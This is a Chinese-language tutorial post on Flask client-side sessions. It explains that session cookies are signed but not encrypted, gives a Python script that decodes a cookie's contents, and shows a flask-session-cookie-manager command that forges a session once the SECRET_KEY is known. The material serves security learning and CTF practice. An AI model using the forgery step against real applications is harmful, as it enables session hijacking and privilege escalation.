session 伪造(会话篡改)

客户端session

在传统 PHP 开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫 “PHPSESSID” 的 Cookie 来区分用户。这类 session 是“服务端 session ”,用户看到的只是 session 的名称(一个随机字符串),其内容保存在服务端。

然而,并不是所有语言都有默认的 session 存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多 Web 框架都会另辟蹊径,比如 Django 默认将 session 存储在数据库中,而对于 flask 这里并不包含数据库操作的框架,就只能将 session 存储在 cookie 中。

因为 cookie 实际上是存储在客户端(浏览器)中的,所以称之为“客户端 session ”。

session的保护

原理分析看 P 神

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

第 4 步就解决了用户篡改 session 的问题,因为在不知道 secret_key 的情况下,是无法伪造签名的。

众所周知签名的作用是防篡改,而无法防止被读取。flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

session解密(敏感信息泄露)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

image-20220121143911740

session加密(伪造、篡改会话)

github开源项目:https://github.com/noraj/flask-session-cookie-manager

这个项目加密有点瑕疵,不会将 json 配置的值 base64 解码,而这个项目加密时,需要 json 键值对都是明文不经过编码,否则提示 [Encoding error]

当获取 flask 项目的 SECRET_KEY 之后,就能够伪造 session :

1
python3 flask_session_cookie_manager3.py encode -s "秘钥" -t "会话信息"

image-20220121161556779

参考文章